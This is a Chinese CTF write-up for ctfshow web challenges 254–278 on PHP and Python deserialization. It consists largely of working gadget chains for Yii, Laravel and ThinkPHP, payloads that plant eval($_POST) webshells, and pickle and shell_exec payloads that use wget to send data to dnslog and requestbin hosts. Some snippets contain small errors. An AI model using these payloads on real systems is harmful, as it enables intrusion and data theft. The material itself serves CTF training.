ctfshow php反序列化

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。


常用的魔术方法

__construct(),类的构造函数
 
__destruct(),类的析构函数
 
__call(),在对象中调用一个不可访问方法时调用
 
__callStatic(),用静态方式中调用一个不可访问方法时调用
 
__get(),获得一个类的成员变量时调用
 
__set(),设置一个类的成员变量时调用
 
__isset(),当对不可访问属性调用isset()或empty()时调用
 
__unset(),当对不可访问属性调用unset()时被调用。
 
__sleep(),执行serialize()时,先会调用这个函数
 
__wakeup(),执行unserialize()时,先会调用这个函数
 
__toString(),类被当成字符串时的回应方法
 
__invoke(),调用函数的方式调用一个对象时的回应方法
 
__set_state(),调用var_export()导出类时,此静态方法会被调用。
 
__clone(),当对象复制完成时调用
 
__autoload(),尝试加载未定义的类
 
__debugInfo(),打印所需调试信息

web 254 

这里面没有魔术方法

直接构造:?uername=xxxxxx&password=xxxxxx

 

web 255

这段代码需要传入两个参数username和password,然后会反序列化cookie的user 

 

这段代码需要让 $isVip=true;再进行url编码

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

把这个放到cookie中,前面加上user=,再get传参

web 256

多了一个判断他们两个不等 

if($this->username!==$this->password){
                    echo "your flag is ".$flag; 

那么序列化时改一下值就行

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                echo "your flag is ".$flag;
            }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
$a = new ctfShowUser;
echo urlencode(serialize($a));
?>

传参时username和password的值写构造后的

web 257

这里反序列化后执行login函数,我们找到login函数在class ctfShowUser 中

所以我们需要定义一个 ctfShowUser 的对象

发现ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo

同时发现backDoor类中也有getInfo,所以这里的backDoor就是关键

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code = "system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}

$a = serialize(new ctfShowUser());
echo (urlencode($a)) ;

 get传参 username=&password=

web 258

比上一题多了一个正则,不能匹配到o:后面的数字

使用+号绕过匹配

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='system("tac flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
$a=new ctfShowUser();
$a=serialize($a);
echo urlencode(str_replace('O:','O:+',$a));
?>

 web 259

知识点:php原生类的 soapclient函数,当实例化一个不存在的方法时调用内置的call方法,会接收(str,arr)。可以通过_call方法发送请求

$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
 
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));//请求头,请求地址,url,user_agent包括了所有需要的参数
 
echo urlencode(serialize($client));//序列化后通过vip传入

注,要想生成该序列化后的值,应当开启SoapClient拓展:php.ini中启用php_soap.dll。 (或者直接在phpstudy快捷开启) 

web 260

这里将GET传参的结果进行序列化,对字符串进行序列化后是它本身

直接构造:?ctfshow= ctfshow_i_love_36D 

web 261 

一、这两个魔术方法需要php7.4以上才能生效

二、当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;

当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize

三、__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

代码的关键点在于code要等于0x36d这里,由于是弱比较,这样是会相等的:

877.php<?php eval($_POST[a]);?> == 0x36d

<?php
 
class ctfshowvip{
    public $username;
    public $password;
    public $code;
 
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
 
 
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[a]);?>');
echo serialize($a);
O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";s:4:"code";N;}

 序列化一下

O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

 

 

web 262

反序列化字符串逃逸

访问message.php

base64编码

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($msg){
    return str_replace('fuck','loveU',$msg);
}
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);


//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//$obj = unserialize($msg_2);
echo base64_encode($msg_2)
?>

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MzEwOiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVIjtzOjM6Im1zZyI7czoxOiJiIjtzOjI6InRvIjtzOjE6ImMiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6MzoibXNnIjtzOjE6ImIiO3M6MjoidG8iO3M6MToiYyI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9

写进cookie,访问message.php

web 263

是个登录界面

访问www.zip获取源码

index.php

$_SESSION['limti']键名写错了,应该是limit,所以永远不成立,我们可以通过$_SESSION['limit']=base64_decode($_COOKIE['limit'])来控制session的值

session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
			}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
$user=new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
$res="|".serialize($user);
echo $res;

O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";s:6:"status";N;}

 base64编码

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

 

 

web 264 

这道题和262一模一样,用相同的方法就行

web 265 

当token和password相等时,输出flag

这里的token被随机了,为了使password和他相等,只需要把$password=&$token即可

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$admin = new ctfshowAdmin('123','123');
echo serialize($admin);

?>

O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"123";s:8:"password";R:2;}

web 266 

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
}
 $admin = new ctfshow('123','123');
 echo serialize($admin);
?>
O:7:"ctfshow":2:{s:8:"username";s:3:"123";s:8:"password";s:3:"123";}

 抓包,把中括号去掉

web 267

这道题是yii框架

 我们用admin/admin登录

利用链

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

可以尝试dns带外找到index.php所在目录

public function __construct()
        {
            $this->checkAccess = 'shell_exec';
            $this->id = 'wget `pwd|base64`.a3is4z.dnslog.cn';
        }

 再次传值给code

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MzQ6IndnZXQgYHB3ZHxiYXNlNjRgLmEzaXM0ei5kbnNsb2cuY24iO31pOjE7czozOiJydW4iO319fX0=

 

L3Zhci93d3cvaHRtbC9iYXNpYy93ZWIK进行base64解码

得到 /var/www/html/basic/web

public function __construct()
        {
            $this->checkAccess = 'shell_exec';
            $this->id = "echo '<?php eval(\$_POST[1];phpinfo();?>' >/var/www/html/basic/web/1.php)";
        }
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NzI6ImVjaG8gJzw/cGhwIGV2YWwoJF9QT1NUWzFdO3BocGluZm8oKTs/PicgPi92YXIvd3d3L2h0bWwvYmFzaWMvd2ViLzEucGhwKSI7fWk6MTtzOjM6InJ1biI7fX19fQ==

code传参

访问1.php 

web 268 

这一题把上一题的链子过滤了

用另一条链子

<?php
 
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}
?>

然后就和上一题一样了

web 269和270 

都用268的链子,都是一样的

web 271 

这道题是Laravel5.7框架 

参考网上的链子

<?php
namespace Illuminate\Foundation\Testing{
 
    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
 
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="cat /flag";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
 
    use Illuminate\Foundation\Testing\PendingCommand;
 
    echo urlencode(serialize(new PendingCommand()));
}
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7D%7D

web 272 

Laravel5.8框架

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:27:03
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php file_put_contents('/app/public/1.php','<?php eval(\$_POST[1]);?>');");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}

O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A72%3A%22%3C%3Fphp+file_put_contents%28%27%2Fapp%2Fpublic%2F1.php%27%2C%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%29%3B%22%3B%7D%7D%7D

web 273 

和272一样

web 274 

thinkphp反序列化,使用网上的链子

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

http://4971bc9c-b457-44dc-bf5a-9a027dc8a8f2.challenge.ctf.show/?lin=cat /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web 275 

这题主要是system函数,然后还是destruct销毁方法,所以我们只要让if($f->checkevil()===false)不成立,就不会用销毁文件 

web 276 

先生成一个phar包

<?php
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
 
    public function __construct($f='',$fn=''){
        $this->filename='1;tac fla?.ph?';
        $this->filecontent='';
    }
}
 
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
 
$o = new filter();
$phar = setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

python 

import requests
import time
import threading
 
success = False
#读取phar包内容
def getPhar(phar):
    with open(phar,'rb') as p:
        return p.read()
 
#写入phar内容
def writePhar(url,data):
    print('writing...')
    requests.post(url,data)
 
#触发unlick的phar反序列化
def unlinkPhar(data,url):
    global success
    print('unlinking...')
    res = requests.post(url,data)
    if 'ctfshow' in res.text and success is False:
        print(res.text)
        success = True
 
def main():
    global success
    url = ''
    phar = getPhar('phar.phar')
    while success is False:
        time.sleep(1)
        w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
        u = threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
        w.start()
        u.start()
 
if __name__ == '__main__':
    main()

 运行得结果

web277

Python中提供pickle​和json​两个模块来实现序列化和反序列化。

序列化函数有dumps()​和dump()​,这俩的区别就是dumps()​只会单纯的将对象序列化,而dump()​会在序列化之后将结果写入到文件当中,一般来说我们就用dumps​就好了。

与之相对的就是反序列化函数,同样也有两个,load()​和loads()​,同样的,loads()​也只是单纯的进行反序列化,而load()​会将结果写入文件中。

而要实现代码执行的关键,就是一个魔法函数__reduce__​

import os
import pickle
import base64
 
class abc(object):
    def __reduce__(self):
        return os.system, ('wget https://requestbin.io/1j6eke01?c=`cat fla*`',)
 
print(base64.b64encode(pickle.dumps(abc())))

数据带外

web278

过滤了os.system函数,那么我们可以用eval函数导入os。也可以用os.popen

剩下的就和277一样了 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

迪亚波罗#

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值